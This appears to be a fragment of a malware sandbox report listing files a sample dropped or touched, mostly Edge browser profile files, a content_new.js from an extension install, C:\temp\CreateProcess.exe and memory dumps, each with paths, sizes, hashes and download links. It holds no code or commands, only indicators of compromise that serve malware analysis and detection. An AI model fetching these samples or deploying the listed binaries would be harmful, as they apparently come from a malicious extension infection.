SSDEEP 192:sxRCHR9yM/jK1Ml8wct/fPskeiZfaqzoA8p90/g6+WNCyB/Yw8qG0bIgDmJ:sxRCHXCt/fPskekfani/5J/ve
TLSH
T1FE62D816AA2459778CDBD209FA917F63D6F8157392914E44AEFC8A0C01E7ADD211383F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 32KB
SHA256 c2b203db51ccb31f4527ca30e1d6e9765f5bd572b3e28860d4b908f8d1159106
MD5 e8609ddfe4b30d9e2629c82f3ac5047f
SHA1 46cc899a1397e4781ea8fdfae17a0517184e9a09
SHA512 6b0f5801bceba683828e5e486972e403d69736bc410d91bf615b65512ffcd1a165bbe6e2a35df972608d9d9ac3405560b40988f2f9c20ec78a44769c375a06f0
SSDEEP 768:Ra7VjA7pLuL7wZWgmofLk8F1+UoAYDCx9Tuqh0VfUC9xbog/OVF5id4v7roIa/:Ra7VjME7wZWgmofLku1jaG5iavIV/
TLSH
T100E2FD7F680CCB7E4F804A9CEC29BD9A6DAC01CF5AD8C95447EA840C03C67EB551A5DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 4KB
SHA256 76fc9961867865b387c2c351bf5b08f2e6700966d42178712d3126e64c6dd9f3
MD5 f23e7f94d55dfd60abf71c996dc8267b
SHA1 f58af8c790dc741640e44d1fad1e2a64b4c7340c
SHA512 711968405dc4defc82287eaff80ae49dc062bfe2edd1e5ef1a183df314778cc072af4690c3ca24111bcbcab6f47940d1cde2db41f407eebe7e9530725502c1b3
SSDEEP 48:K00IXKROELy5mIHKzagXwIbKlacLyZqNEg6QU:K00AKRO6Km8KzaswwKlaK4qNEg6QU
TLSH
T17E91720271BA3740787D291AA6E5C46F524534A2709BA93B3FB960ED5F36F000EFD9D8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

66dae04d-62e0-48dd-882b-ca38a8d073a3.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\66dae04d-62e0-48dd-882b-ca38a8d073a3.tmp
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 e4a200484398e03e6d050cfe2d68ee3f2ff03e096b83ea838260569694c7c543
MD5 0944bdcfc2b976cf3deb842c2a7d2020
SHA1 468242d00367dc078e1b4b0929010f529d02aa51
SHA512 b31eecfab3826655f46cc7f8f3e70b97cfb0947f0da151f71fbfa1e34075938a8bd0d71b7fdd9e579ff24cc3d8913ce35ec316d550185078dac27b6bb9ce3a6e
SSDEEP 768:Jrv+4UNbdr32n/jy6iLzFq2dlcnSl0bCTwZiBY+8rEnk:Jbsbl3Ois2dynSl6bRDrEk
TLSH
T12A03BF31ED189A339CE2C688B64B3A17BEF841A355C50BD4CDDE2F0D428B59E131B967
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 ea626fd33104d9ed3b61c89bedee2db582863ebdcf6dbbd1d3110d2597f30a89
MD5 2e7fdd15aeb21e7c53e5f394c151f092
SHA1 6c50560e900333bae73ac34f0223220329cd86bb
SHA512 f9ebfd974920df12aace0869bb83830fa79070b71eae3595c249860c559b072271b5f7031d5192fd143355ea878710c2c1cf5fe02567c02843b0483e4db8082a
SSDEEP 768:Erv+4UNbdQ3py/jy6iLzyZq2dlcnSl0bCTwZWo53s:EbsbO38if2dynSl6bre
TLSH
T1B403AE31F818DA739CF39244B24B7A93BEF8116349C50B94CDDA6B4D028769E171B926
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 7e5de1117df17823ec480adf39be90b20a8070ac598be905f762fca6cddcb14b
MD5 fa41d102f4bf622e2a63c6552d04e0b1
SHA1 ddfae56ce900370378c59e54906fa951044b8007
SHA512 c78a91bd50e7db9bf65719dee94dff801b4f0c42b0c1e024aaa732b429f89fb1aa493084d1341288e81b8ae5f5a9e57073be11c6cf57746d90f631592259db56
SSDEEP 768:Fj+9K3cy/jy6iLzyZq2dlcnSl0bCTwZWozn12bfTd:w9K3Zif2dynSl6brByB
TLSH
T129F29D31EC199E635CE3C288B24B2B97BEF801A345C51F94CDDD5F0D428779E172A92A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 43KB
SHA256 433e31f4fd8f93d8d64ce4ab660bf7214554b36ef92fe6fcb59f8feed4805f5e
MD5 e8129af30fd322d72fc9d63a5c293c9f
SHA1 2a3704b87213d69ddde1f312d4efbbd86bbc844c
SHA512 b01cfb6a5c1a94cbe6fbd78d3b4a655067635b20d034f9f0bec899f3194786ea46a02ce5c264e3fbab0bec0313af75a8256c13286daa48038e27ab5395ded0fe
SSDEEP 768:ZF1j+9J3bwg9+SiLzyZq2dlcnSl0bCTwZWozn12bfTd:o9J31it2dynSl6brByB
TLSH
T19F1329F598C78A37D8AE8787633E2E469DFCC16375855984BBC85E4CCD822BFC206815
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 132B
SHA256 f4aa1676b1cc0e8c932821d57f7e6ec93246f48d7b840aca2d58ef9fac0ecd03
MD5 f5a3b29f9a977e23d6ca4eb728238f9f
SHA1 d2c5576fff1189eb66493b5b677d79a8ecead68d
SHA512 6f692909efad02642f6c3a4b7cd10b21760c6fbfd3bae39d3b8a77b22460fcd5f6b0ab6e262b007e533c406a981968b3e0894697ca50be7f10bf557f1c1972f3
TLSH
T128C02BD0883D5142CD620D5AC04301F420005C1C641C0A7804C814C0401142F328042E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 372B
SHA256 02092b017b3b45a2cf26673a6a2c3fa2b49ab211943cadade98b98777ee73afc
MD5 2a1939fc3b2926cf2b82fae71c5f6bee
SHA1 3f9d6974ce660bbc0c85f3d9741b734cfd466fac
SHA512 cceb75873ca288bfcb71f5d74fec5ad8ca61807ec55369055f4fbd095fd904097c974102d3296db3a1aa949c6edc5abd1a7c320e53daaf947ee61c28f5659707
TLSH
T1A3E068C29D7D26C196E60F7FD04B69F844C4580AF048697A088DE8C8913A94B258287E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 252B
SHA256 9ea5bbd4491542e3878ce1dc40d90744197996ad91a29e27be679d4bec62570d
MD5 551baa462724351873ccd655a8b64ea3
SHA1 ce2be3c6d77008467bc61ac14822065cf2376630
SHA512 8de58d8e979531498751d7416c6b10671da1b048181a23081fc15e7aca69a96a93676b3bf01415c3b5f8d1973511e5823b0f11cacddfc3e5d01e82cefedff632
TLSH
T163D095C34D7D12C14FD50F7BD087ACF80480540DE55C2A7A044CD8C04115C1B75C142F
MD5 SHA1 SHA512 TLSH

Submit Download

5478bd33-8ea1-4e3f-978d-809b9f7c5c91.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\5478bd33-8ea1-4e3f-978d-809b9f7c5c91.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

content_new.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir5276_1991928867\CRX_INSTALL\content_new.js
Size 10KB
SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
MD5 3de1e7d989c232fc1b58f4e32de15d64
SHA1 42b152ea7e7f31a964914f344543b8bf14b5f558
SHA512 177e5bdf3a1149b0229b6297baf7b122602f7bd753f96aa41ccf2d15b2bcf6af368a39bb20336ccce121645ec097f6bedb94666c74acb6174eb728fbfc43bc2a
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
TLSH
T1DB22B68DA5A8ED7C1AC0C952E50EA62E5D342531E6E7A30320874ED8015CFB9D519FFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CreateProcess.exe

Path C:\temp\CreateProcess.exe
Size 3KB
SHA256 ef0bef4e289b24bd9721847523ee09175a681ca1dcb42dde11196c489c4c2abf
MD5 49598a85c146a42fc8733fb6b4f5005a
SHA1 e1f49c3330d6a1b48dd9bff3a511ad845def91e3
SHA512 c14b8551bf1a88ea5728d6c4bc74146b60c639bd23f21e1a08be4e5f2c682d490a7f98c2a687bfec331112e0766771740c1025843e0153e45c0f7d7b34afe72a
TLSH
T1D371238357B8D6B3C5DE9FF102835604F5FB2678472330200B555586AB30A7A24B8F48
MD5 SHA1 SHA512 TLSH

Submit Download

memory/716-474-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/716-451-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1140-275-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1152-66-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1224-343-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1304-502-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2000-420-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2232-247-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2840-323-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3304-287-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3988-376-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4220-199-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4880-325-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5364-440-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5556-477-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5584-328-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5636-472-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5676-347-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5816-396-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5900-506-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5952-416-0x0000000000010000-0x00000000000AB000-memory.dmp

Download